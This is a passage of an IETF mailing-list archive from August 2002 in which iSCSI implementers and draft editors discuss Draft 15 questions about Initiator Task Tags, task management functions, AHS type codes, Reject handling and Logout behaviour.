iSCSI > draft. I am looking at Section 9.5. I see "Initiator Task Tag" in the table showing the PDU format, although it is not mentioned in the text. Another typo? > > --- AHS --- > > Next question: if an AHS is present in a PDU allowing it, but > > the target does not know what to do with it, should the > target reject > > the PDU or ignore the AHS? > > Such a target is broken (if an AHS is allowed, the target has to > expect that it might be present and be prepared to do whatever > is necessary), and should be fixed. Let me give a better example: Section 9.2.2.1, AHSType, lists "60- 63 Non-iSCSI extensions". What should the target do if it comes across an AHS with an AHSType of 60? Is there some other document specifying what these codes mean? > > --- Reject --- > > > > If a target decides to reject a non-immediate command when it > > can determine > > the CmdSN of the command being rejected, should the target > > return the reject > > response immediately, or should the target defer the reject > > response until > > the command being rejected would have been delivered for > > execution based on > > its CmdSN? > > Returning the Reject earlier will probably be appreciated by the > initiator. There's no requirement to wait. Ok. > > If the CmdSN of the command being rejected is > > outside the valid > > command window, should the target ignore the PDU and not > > return the Reject > > response, or should the target return the Reject response > > anyway? > > Ignore it. Section 2.2.2.1 says: > > For non-immediate commands, the CmdSN field can take any value from > ExpCmdSN to MaxCmdSN inclusive. The target MUST silently ignore any > non-immediate command outside of this range or non-immediate dupli- > cates within the range. > > "silently" is the key word in this text. Ok. The exception of course is if the opcode field is unrecognized, the target can't be sure if the CmdSN is present in the normal place or not. > > --- Logout --- > > > > Section 9.14, "A Logout for a CID may be performed on a > > different transport > > connection when the TCP connection for the CID has already > > been terminated." > > Was this intended to imply that a Logout for a CID MUST be > > performed on the > > same transport connection when the TCP connection for the CID > > has _not_ > > already been terminated? > > Not exactly. The problem is that one can get into weird situations > in which the two ends of a TCP connection have different views on > whether it's been terminated. If the TCP connection is alive, > Logout for that connection should be sent on that connection. > Makes sense. > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > From owner-ips@ece.cmu.edu Fri Aug 30 11:27:35 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21485 for ; Fri, 30 Aug 2002 11:27:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UF6qr20097 for ips-outgoing; Fri, 30 Aug 2002 11:06:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mailhub.lss.emc.com (xdch.emc.com [168.159.1.79]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UF6oo20092 for ; Fri, 30 Aug 2002 11:06:50 -0400 (EDT) Received: from emc.com (emcmail.lss.emc.com [168.159.48.78]) by mailhub.lss.emc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g7UF5PF13600; Fri, 30 Aug 2002 11:06:22 -0400 (EDT) Received: from mxic1.isus.emc.com ([168.159.129.100]) by emc.com (8.10.1/8.10.1) with ESMTP id g7UF5P724636; Fri, 30 Aug 2002 11:05:25 -0400 (EDT) Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Fri, 30 Aug 2002 11:05:25 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C244@CORPMX14> From: Black_David@emc.com To: tonyb@cybernetics.com, ips@ece.cmu.edu Subject: AHS Codes Date: Fri, 30 Aug 2002 11:05:20 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > > > --- AHS --- > > > Next question: if an AHS is present in a PDU allowing it, but > > > the target does not know what to do with it, should the target reject > > > the PDU or ignore the AHS? > > > > Such a target is broken (if an AHS is allowed, the target has to > > expect that it might be present and be prepared to do whatever > > is necessary), and should be fixed. > > > Let me give a better example: Section 9.2.2.1, AHSType, lists "60- 63 > Non-iSCSI extensions". What should the target do if it comes > across an AHS with an AHSType of 60? Is there some other document > specifying what these codes mean? We don't say anything useful at the moment. Is there any good reason not to rip this out and add 60-63 to the Reserved range (currently 3-59)? Thanks, --David From owner-ips@ece.cmu.edu Fri Aug 30 12:54:28 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25328 for ; Fri, 30 Aug 2002 12:54:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UGYBY27136 for ips-outgoing; Fri, 30 Aug 2002 12:34:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UGY6o27122 for ; Fri, 30 Aug 2002 12:34:06 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7UGXseB035878; Fri, 30 Aug 2002 18:33:54 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7UGXsba075250; Fri, 30 Aug 2002 18:33:54 +0200 To: Black_David@emc.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu, tonyb@cybernetics.com MIME-Version: 1.0 Subject: Re: AHS Codes X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 30 Aug 2002 19:33:52 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 30/08/2002 19:33:54, Serialize complete at 30/08/2002 19:33:54 Content-Type: multipart/alternative; boundary="=_alternative 005A6463C2256C25_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 005A6463C2256C25_= Content-Type: text/plain; charset="us-ascii" We can rip it off (historical artifact). Unless we want a registry for it :-) Julo Black_David@emc.com Sent by: owner-ips@ece.cmu.edu 30/08/02 18:05 To: tonyb@cybernetics.com, ips@ece.cmu.edu cc: Subject: AHS Codes > > > --- AHS --- > > > Next question: if an AHS is present in a PDU allowing it, but > > > the target does not know what to do with it, should the target reject > > > the PDU or ignore the AHS? > > > > Such a target is broken (if an AHS is allowed, the target has to > > expect that it might be present and be prepared to do whatever > > is necessary), and should be fixed. > > > Let me give a better example: Section 9.2.2.1, AHSType, lists "60- 63 > Non-iSCSI extensions". What should the target do if it comes > across an AHS with an AHSType of 60? Is there some other document > specifying what these codes mean? We don't say anything useful at the moment. Is there any good reason not to rip this out and add 60-63 to the Reserved range (currently 3-59)? Thanks, --David --=_alternative 005A6463C2256C25_= Content-Type: text/html; charset="us-ascii"
We can rip it off (historical artifact). Unless we want a registry for it :-)

Julo


Black_David@emc.com
Sent by: owner-ips@ece.cmu.edu

30/08/02 18:05

       
        To:        tonyb@cybernetics.com, ips@ece.cmu.edu
        cc:        
        Subject:        AHS Codes

       


> > > --- AHS ---
> > > Next question: if an AHS is present in a PDU allowing it, but
> > > the target does not know what to do with it, should the target reject
> > > the PDU or ignore the AHS?
> >
> > Such a target is broken (if an AHS is allowed, the target has to
> > expect that it might be present and be prepared to do whatever
> > is necessary), and should be fixed.
>
>
> Let me give a better example: Section 9.2.2.1, AHSType, lists "60- 63
> Non-iSCSI extensions".  What should the target do if it comes
> across an AHS with an AHSType of 60?  Is there some other document
> specifying what these codes mean?

We don't say anything useful at the moment.  Is there any good reason
not to rip this out and add 60-63 to the Reserved range (currently
3-59)?

Thanks,
--David

--=_alternative 005A6463C2256C25_=-- From owner-ips@ece.cmu.edu Fri Aug 30 12:56:40 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25426 for ; Fri, 30 Aug 2002 12:56:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UGjaB27956 for ips-outgoing; Fri, 30 Aug 2002 12:45:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UGjXo27941 for ; Fri, 30 Aug 2002 12:45:33 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7UGjOeB016120; Fri, 30 Aug 2002 18:45:24 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7UGjNba092916; Fri, 30 Aug 2002 18:45:23 +0200 To: Cc: Black_David@emc.com, ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: Several iSCSI protocol questions X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 30 Aug 2002 19:45:21 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 30/08/2002 19:45:23, Serialize complete at 30/08/2002 19:45:23 Content-Type: multipart/alternative; boundary="=_alternative 005BC192C2256C25_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 005BC192C2256C25_= Content-Type: text/plain; charset="us-ascii" Fields that appear in every PDU are not described repeatedly - Julo "Tony Battersby" Sent by: owner-ips@ece.cmu.edu 30/08/02 17:34 Please respond to tonyb To: , cc: Subject: RE: Several iSCSI protocol questions > -----Original Message----- > From: Black_David@emc.com [mailto:Black_David@emc.com] > Sent: Friday, August 30, 2002 10:05 AM > To: tonyb@cybernetics.com; ips@ece.cmu.edu > Subject: RE: Several iSCSI protocol questions > > Does the above imply that the initiator must (or can?) use the same > > Initiator Task Tag for all SCSI commands in a given linked > set of SCSI > > commands? If so, then a given Initiator Task Tag may not > > uniquely identify a particular SCSI command. > > Yes, but the inference is incorrect. SAM-2 defines "linked > command" as: > > 3.1.58 linked command: One in a series of SCSI commands > processed by a > single task that collectively make up a discrete I/O > operation. In such > a series, each command is represented by the same I_T_L_x > nexus, and all, > except the last, have the LINK bit in the CDB CONTROL byte > set to one. > > Linked commands are always sequential, not concurrent, as > they use the same > I_T_L_x nexus - see the example in Section 5.7.2 of SAM-2. > Only one command > from a set of linked commands is active at any point in time, > and hence the > ITT for the linked commands uniquely identifies it. Linked > commands are > rarely used in practice, FWIW. > Thanks. I realized this after I sent the message. > > --- Task Management Functions --- > > > > Section 9.5.1, "For all these functions, the Task > Management function > > response MUST be returned as detailed in Section 9.6 Task Management > > Function Response." Does this mean that a Task Management > Function with > > one of the listed functions cannot be rejected with a Reject PDU > > if some other field of the PDU has a value that is a protocol error? > > It shouldn't - if there's a protocol error, the Task > Management function > cannot be processed. Ok. > > Since the Task Management Function itself has a CmdSN and > > valid LUN, can one > > Task Management Function affect (abort) another? > > No, SCSI task management functions operate on *SCSI* tasks, > not *iSCSI* > tasks, and a task management function is not a *SCSI* task - > see SAM-2. This contradicts the text in Section 9.5.1: "The Task Management functions provide an initiator with a way to explicitly control the execution of one or more Tasks (SCSI and iSCSI tasks)." Your interpretation makes more sense to me, however. > > If not, then what is the > > appropriate Task Management Function Response for an ABORT TASK that > > attempts to operate on another Task Management Function? > > That can't happen. The only task management function that > could possibly > attempt "to operate on another Task Management Function" is > ABORT TASK, but > it identifies the task to be aborted by an Initiator Task > Tag, something > that Task Management Functions *do not* have - see Section > 9.5 of the iSCSI > draft. I am looking at Section 9.5. I see "Initiator Task Tag" in the table showing the PDU format, although it is not mentioned in the text. Another typo? > > --- AHS --- > > Next question: if an AHS is present in a PDU allowing it, but > > the target does not know what to do with it, should the > target reject > > the PDU or ignore the AHS? > > Such a target is broken (if an AHS is allowed, the target has to > expect that it might be present and be prepared to do whatever > is necessary), and should be fixed. Let me give a better example: Section 9.2.2.1, AHSType, lists "60- 63 Non-iSCSI extensions". What should the target do if it comes across an AHS with an AHSType of 60? Is there some other document specifying what these codes mean? > > --- Reject --- > > > > If a target decides to reject a non-immediate command when it > > can determine > > the CmdSN of the command being rejected, should the target > > return the reject > > response immediately, or should the target defer the reject > > response until > > the command being rejected would have been delivered for > > execution based on > > its CmdSN? > > Returning the Reject earlier will probably be appreciated by the > initiator. There's no requirement to wait. Ok. > > If the CmdSN of the command being rejected is > > outside the valid > > command window, should the target ignore the PDU and not > > return the Reject > > response, or should the target return the Reject response > > anyway? > > Ignore it. Section 2.2.2.1 says: > > For non-immediate commands, the CmdSN field can take any value from > ExpCmdSN to MaxCmdSN inclusive. The target MUST silently ignore any > non-immediate command outside of this range or non-immediate dupli- > cates within the range. > > "silently" is the key word in this text. Ok. The exception of course is if the opcode field is unrecognized, the target can't be sure if the CmdSN is present in the normal place or not. > > --- Logout --- > > > > Section 9.14, "A Logout for a CID may be performed on a > > different transport > > connection when the TCP connection for the CID has already > > been terminated." > > Was this intended to imply that a Logout for a CID MUST be > > performed on the > > same transport connection when the TCP connection for the CID > > has _not_ > > already been terminated? > > Not exactly. The problem is that one can get into weird situations > in which the two ends of a TCP connection have different views on > whether it's been terminated. If the TCP connection is alive, > Logout for that connection should be sent on that connection. > Makes sense. > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > --=_alternative 005BC192C2256C25_= Content-Type: text/html; charset="us-ascii"
Fields that appear in every PDU are not described repeatedly - Julo


"Tony Battersby" <tonyb@cybernetics.com>
Sent by: owner-ips@ece.cmu.edu

30/08/02 17:34
Please respond to tonyb

       
        To:        <Black_David@emc.com>, <ips@ece.cmu.edu>
        cc:        
        Subject:        RE: Several iSCSI protocol questions

       


> -----Original Message-----
> From: Black_David@emc.com [mailto:Black_David@emc.com]
> Sent: Friday, August 30, 2002 10:05 AM
> To: tonyb@cybernetics.com; ips@ece.cmu.edu
> Subject: RE: Several iSCSI protocol questions

> > Does the above imply that the initiator must (or can?) use the same
> > Initiator Task Tag for all SCSI commands in a given linked
> set of SCSI
> > commands?  If so, then a given Initiator Task Tag may not
> > uniquely identify a particular SCSI command.
>
> Yes, but the inference is incorrect.  SAM-2 defines "linked
> command" as:
>
>   3.1.58 linked command: One in a series of SCSI commands
> processed by a
>   single task that collectively make up a discrete I/O
> operation. In such
>   a series, each command is represented by the same I_T_L_x
> nexus, and all,
>   except the last, have the LINK bit in the CDB CONTROL byte
> set to one.
>
> Linked commands are always sequential, not concurrent, as
> they use the same
> I_T_L_x nexus - see the example in Section 5.7.2 of SAM-2.
> Only one command
> from a set of linked commands is active at any point in time,
> and hence the
> ITT for the linked commands uniquely identifies it.  Linked
> commands are
> rarely used in practice, FWIW.
>


Thanks.  I realized this after I sent the message.


> > --- Task Management Functions ---
> >
> > Section 9.5.1, "For all these functions, the Task
> Management function
> > response MUST be returned as detailed in Section 9.6 Task Management
> > Function Response."  Does this mean that a Task Management
> Function with
> > one of the listed functions cannot be rejected with a Reject PDU
> > if some other field of the PDU has a value that is a protocol error?
>
> It shouldn't - if there's a protocol error, the Task
> Management function
> cannot be processed.


Ok.


> > Since the Task Management Function itself has a CmdSN and
> > valid LUN, can one
> > Task Management Function affect (abort) another?
>
> No, SCSI task management functions operate on *SCSI* tasks,
> not *iSCSI*
> tasks, and a task management function is not a *SCSI* task -
> see SAM-2.


This contradicts the text in Section 9.5.1: "The Task Management functions
provide an initiator with a way to explicitly control the execution of one
or more Tasks (SCSI and iSCSI tasks)."  Your interpretation makes more sense
to me, however.


> > If not, then what is the
> > appropriate Task Management Function Response for an ABORT TASK that
> > attempts to operate on another Task Management Function?
>
> That can't happen.  The only task management function that
> could possibly
> attempt "to operate on another Task Management Function" is
> ABORT TASK, but
> it identifies the task to be aborted by an Initiator Task
> Tag, something
> that Task Management Functions *do not* have - see Section
> 9.5 of the iSCSI
> draft.

I am looking at Section 9.5.  I see "Initiator Task Tag" in the table
showing the PDU format, although it is not mentioned in the text.  Another
typo?


> > --- AHS ---
> > Next question: if an AHS is present in a PDU allowing it, but
> > the target does not know what to do with it, should the
> target reject
> > the PDU or ignore the AHS?
>
> Such a target is broken (if an AHS is allowed, the target has to
> expect that it might be present and be prepared to do whatever
> is necessary), and should be fixed.


Let me give a better example: Section 9.2.2.1, AHSType, lists "60- 63
Non-iSCSI extensions".  What should the target do if it comes across an AHS
with an AHSType of 60?  Is there some other document specifying what these
codes mean?


> > --- Reject ---
> >
> > If a target decides to reject a non-immediate command when it
> > can determine
> > the CmdSN of the command being rejected, should the target
> > return the reject
> > response immediately, or should the target defer the reject
> > response until
> > the command being rejected would have been delivered for
> > execution based on
> > its CmdSN?
>
> Returning the Reject earlier will probably be appreciated by the
> initiator.  There's no requirement to wait.


Ok.


> > If the CmdSN of the command being rejected is
> > outside the valid
> > command window, should the target ignore the PDU and not
> > return the Reject
> > response, or should the target return the Reject response
> > anyway?
>
> Ignore it.  Section 2.2.2.1 says:
>
>   For non-immediate commands, the CmdSN field can take any value from
>   ExpCmdSN to MaxCmdSN inclusive. The target MUST silently ignore any
>   non-immediate command outside of this range or non-immediate dupli-
>   cates within the range.
>
> "silently" is the key word in this text.


Ok.  The exception of course is if the opcode field is unrecognized, the
target can't be sure if the CmdSN is present in the normal place or not.


> > --- Logout ---
> >
> > Section 9.14, "A Logout for a CID may be performed on a
> > different transport
> > connection when the TCP connection for the CID has already
> > been terminated."
> > Was this intended to imply that a Logout for a CID MUST be
> > performed on the
> > same transport connection when the TCP connection for the CID
> > has _not_
> > already been terminated?
>
> Not exactly.  The problem is that one can get into weird situations
> in which the two ends of a TCP connection have different views on
> whether it's been terminated.  If the TCP connection is alive,
> Logout for that connection should be sent on that connection.
>


Makes sense.


> Thanks,
> --David
> ---------------------------------------------------
> David L. Black, Senior Technologist
> EMC Corporation, 42 South St., Hopkinton, MA  01748
> +1 (508) 249-6449            FAX: +1 (508) 497-8018
> black_david@emc.com       Mobile: +1 (978) 394-7754
> ---------------------------------------------------
>

--=_alternative 005BC192C2256C25_=-- From owner-ips@ece.cmu.edu Fri Aug 30 12:56:46 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25446 for ; Fri, 30 Aug 2002 12:56:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UGMoZ26257 for ips-outgoing; Fri, 30 Aug 2002 12:22:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UGMjo26247; Fri, 30 Aug 2002 12:22:45 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7UGMaVb052008; Fri, 30 Aug 2002 18:22:36 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7UGMZba069206; Fri, 30 Aug 2002 18:22:35 +0200 To: Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: Several iSCSI protocol questions X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 30 Aug 2002 19:22:31 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 30/08/2002 19:22:35, Serialize complete at 30/08/2002 19:22:35 Content-Type: multipart/alternative; boundary="=_alternative 0059F00CC2256C25_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0059F00CC2256C25_= Content-Type: text/plain; charset="us-ascii" Tony answers in text - Julo "Tony Battersby" Sent by: owner-ips@ece.cmu.edu 30/08/02 16:01 Please respond to tonyb To: cc: Subject: Several iSCSI protocol questions Hi, I have a few general iSCSI protocol questions. All questions are based on Draft 15. (Sorry if this message is a duplicate. I sent it once before but I don't think it got through.) --- Initiator Task Tag uniqueness --- Section 2.1, "A SCSI task is a SCSI command or possibly a linked set of SCSI commands." Section 2.2.2.1, "Some iSCSI tasks are SCSI tasks, and many SCSI activities are related to a SCSI task ([SAM2]). In all cases, the task is identified by the Initiator Task Tag for the life of the task." Does the above imply that the initiator must (or can?) use the same Initiator Task Tag for all SCSI commands in a given linked set of SCSI commands? If so, then a given Initiator Task Tag may not uniquely identify a particular SCSI command. In this case, if the target receives an unsolicited data PDU, it would have to rely on the requirement that unsolicited data PDUs must be sent in the same order as the commands were sent in order to identify the SCSI command associated with the unsolicited data PDU. My question: what is to prevent the target from associating an unsolicited data PDU with the wrong command if the target discarded one of the linked command PDUs in the task due to a digest error? +++++ Linked commands are executed sequentially (that is the only purpose of linking) as long as the "cahin" is not broken by an exception" ++++ --- Task Management Functions --- Section 9.5.1, "For all these functions, the Task Management function response MUST be returned as detailed in Section 9.6 Task Management Function Response." Does this mean that a Task Management Function with one of the listed functions cannot be rejected with a Reject PDU if some other field of the PDU has a value that is a protocol error? If I read the spec correctly, the ABORT TASK, ABORT TASK SET, CLEAR TASK SET, and LOGICAL UNIT RESET functions operate on iSCSI tasks that: 1) Have a CmdSN that is lower than the CmdSN of the Task Management Function, AND 2) Have a valid LUN that is equal to the LUN of the Task Management Function Since the Task Management Function itself has a CmdSN and valid LUN, can one Task Management Function affect (abort) another? If not, then what is the appropriate Task Management Function Response for an ABORT TASK that attempts to operate on another Task Management Function? +++ Task management are SCSI functions not iSCSI functions. In theory a Task Management request may refer to another task management request in iSCSI (a side effect of ITT being used for everything). SAM and SPC do not talk about this as Task Management are not queued to the device but are executed synchronously by the Task Manager. Some protocols (SPI, FCP-2) limit the effect of some (e.g., abort task) by implementing them so that only one can be issued (use a link level function). The best way to handle this is to avoid queueing while a Task Management is active (act synchronously on it). Sometimes this feature can become useful as the "clear functions" will clear the TM requests too. ++++ --- AHS --- Section 9.2.1.5 TotalAHSLength: "Total length of all AHS header segments in four byte words including padding, if any. The TotalAHSLength is used only in PDUs that have an AHS and MUST be 0 in all other PDUs." For the first sentence, I recommend changing the wording to emphasize the fact that the length is not in bytes (something like "... segments in units of four byte words ..." with an example given). I missed this fact the first time I read it. +++ I will add units +++ The second sentence is confusing since it is not spelled out which PDUs have an AHS. Is this sentence specifying a requirement that some pre-defined list of PDUs that do not have an AHS MUST have TotalAHSLength equal to 0, or is the sentence simply stating that a nonzero TotalAHSLength implies that an AHS is present? In the former case, the list of PDUs not allowed to have an AHS can be determined by looking elsewhere in the spec (Task Management Function Request, Task Management Function Response, R2T, Logout Request, Logout Response). +++ the sentence is just stating that this field is always reffering to AHS and will not be used for something else That enables simpler handling of the length fields. Unlike reserved it will be USED by receivers!+++ Next question: if an AHS is present in a PDU allowing it, but the target does not know what to do with it, should the target reject the PDU or ignore the AHS? I noticed that some older drafts had a bit that indicated which to do, but the bit was dropped in more recent drafts. If the target should reject the PDU, what Reject reason should be used? +++ AHSs as defined today MUST be understood. You will have to reject with a Function Response of Function Rejected (AHS is used for SCSI commands). You may also use a Reject with protocol error if you get AHS where you should not have one --- Reject --- If a target decides to reject a non-immediate command when it can determine the CmdSN of the command being rejected, should the target return the reject response immediately, or should the target defer the reject response until the command being rejected would have been delivered for execution based on its CmdSN? +++ either way is fine although I suspect that doing the first may cause trouble with some initiators +++ If the CmdSN of the command being rejected is outside the valid command window, should the target ignore the PDU and not return the Reject response, or should the target return the Reject response anyway? My guess is that any of these options are valid, but I want to make sure. In any case, it seems that the initiator needs to be prepared to receive multiple Reject PDUs from the target for a single command if the initiator re-transmitted the command due to a timeout before receiving (or noticing) the reject. +++ CmdSN outside window - results in ignore ++++ --- Logout --- Section 9.14, "A Logout for a CID may be performed on a different transport connection when the TCP connection for the CID has already been terminated." Was this intended to imply that a Logout for a CID MUST be performed on the same transport connection when the TCP connection for the CID has _not_ already been terminated? +++ yes - you should attempt to do it on existing connection if you can. However some caution - this is not a condition a target can chec - it can see a connection that is dead on the other end +++ Thanks, Anthony J. Battersby Cybernetics --=_alternative 0059F00CC2256C25_= Content-Type: text/html; charset="us-ascii"
Tony answers in text - Julo


"Tony Battersby" <tonyb@cybernetics.com>
Sent by: owner-ips@ece.cmu.edu

30/08/02 16:01
Please respond to tonyb

       
        To:        <ips@ece.cmu.edu>
        cc:        
        Subject:        Several iSCSI protocol questions

       


Hi,

I have a few general iSCSI protocol questions.  All questions are based on
Draft 15.

(Sorry if this message is a duplicate.  I sent it once before but I don't
think it got through.)

--- Initiator Task Tag uniqueness ---

Section 2.1, "A SCSI task is a SCSI command or possibly a linked set of SCSI
commands."

Section 2.2.2.1, "Some iSCSI tasks are SCSI tasks, and many SCSI activities
are related to a SCSI task ([SAM2]). In all cases, the task is identified by
the Initiator Task Tag for the life of the task."

Does the above imply that the initiator must (or can?) use the same
Initiator Task Tag for all SCSI commands in a given linked set of SCSI
commands?  If so, then a given Initiator Task Tag may not uniquely identify
a particular SCSI command.  In this case, if the target receives an
unsolicited data PDU, it would have to rely on the requirement that
unsolicited data PDUs must be sent in the same order as the commands were
sent in order to identify the SCSI command associated with the unsolicited
data PDU.  My question: what is to prevent the target from associating an
unsolicited data PDU with the wrong command if the target discarded one of
the linked command PDUs in the task due to a digest error?
+++++

Linked commands are executed sequentially (that is the only purpose of linking) as long as
the "cahin" is not broken by an exception"

++++
--- Task Management Functions ---

Section 9.5.1, "For all these functions, the Task Management function
response MUST be returned as detailed in Section 9.6 Task Management
Function Response."  Does this mean that a Task Management Function with one
of the listed functions cannot be rejected with a Reject PDU if some other
field of the PDU has a value that is a protocol error?

If I read the spec correctly, the ABORT TASK, ABORT TASK SET, CLEAR TASK
SET, and LOGICAL UNIT RESET functions operate on iSCSI tasks that:

1) Have a CmdSN that is lower than the CmdSN of the Task Management
Function, AND
2) Have a valid LUN that is equal to the LUN of the Task Management Function

Since the Task Management Function itself has a CmdSN and valid LUN, can one
Task Management Function affect (abort) another?  If not, then what is the
appropriate Task Management Function Response for an ABORT TASK that
attempts to operate on another Task Management Function?
+++ Task management are SCSI functions not iSCSI functions.
In theory a Task Management request may refer to another task management request in iSCSI (a side effect of ITT being used for everything).
SAM and  SPC do not talk about this as Task Management are not queued to the device but are executed synchronously by the Task Manager. Some protocols (SPI, FCP-2) limit the effect of some (e.g., abort task) by implementing them so that only one can be issued (use a link level function).

The best way to handle this is to avoid queueing while a Task Management is active (act synchronously on it).
Sometimes this feature can become useful as the "clear functions" will clear the TM requests too.


++++

--- AHS ---

Section 9.2.1.5 TotalAHSLength:

"Total length of all AHS header segments in four byte words including
padding, if any.

The TotalAHSLength is used only in PDUs that have an AHS and MUST be 0 in
all other PDUs."

For the first sentence, I recommend changing the wording to emphasize the
fact that the length is not in bytes (something like "... segments in units
of four byte words ..." with an example given).  I missed this fact the
first time I read it.
+++ I will add units +++

The second sentence is confusing since it is not spelled out which PDUs have
an AHS.  Is this sentence specifying a requirement that some pre-defined
list of PDUs that do not have an AHS MUST have TotalAHSLength equal to 0, or
is the sentence simply stating that a nonzero TotalAHSLength implies that an
AHS is present?  In the former case, the list of PDUs not allowed to have an
AHS can be determined by looking elsewhere in the spec (Task Management
Function Request, Task Management Function Response, R2T, Logout Request,
Logout Response).
+++ the sentence is just stating that this field is always reffering to AHS and will not be used for something else That enables simpler handling of the length fields. Unlike reserved it will be USED by receivers!+++

Next question: if an AHS is present in a PDU allowing it, but the target
does not know what to do with it, should the target reject the PDU or ignore
the AHS?  I noticed that some older drafts had a bit that indicated which to
do, but the bit was dropped in more recent drafts.  If the target should
reject the PDU, what Reject reason should be used?

+++ AHSs as defined today MUST be understood. You will have to reject with a Function Response of Function Rejected (AHS is used for SCSI commands). You may also use a Reject with protocol error if you get AHS where you should not have one

--- Reject ---

If a target decides to reject a non-immediate command when it can determine
the CmdSN of the command being rejected, should the target return the reject
response immediately, or should the target defer the reject response until
the command being rejected would have been delivered for execution based on
its CmdSN?
+++ either way is fine although I suspect that doing the first may cause trouble with some initiators +++

 If the CmdSN of the command being rejected is outside the valid
command window, should the target ignore the PDU and not return the Reject
response, or should the target return the Reject response anyway?  My guess
is that any of these options are valid, but I want to make sure.  In any
case, it seems that the initiator needs to be prepared to receive multiple
Reject PDUs from the target for a single command if the initiator
re-transmitted the command due to a timeout before receiving (or noticing)
the reject.
+++ CmdSN outside window - results in ignore ++++
--- Logout ---

Section 9.14, "A Logout for a CID may be performed on a different transport
connection when the TCP connection for the CID has already been terminated."
Was this intended to imply that a Logout for a CID MUST be performed on the
same transport connection when the TCP connection for the CID has _not_
already been terminated?
+++ yes - you should attempt to do it on existing connection if you can.
However some caution - this is not a condition a target can chec - it can see
a connection that is dead on the other end +++

Thanks,
Anthony J. Battersby
Cybernetics

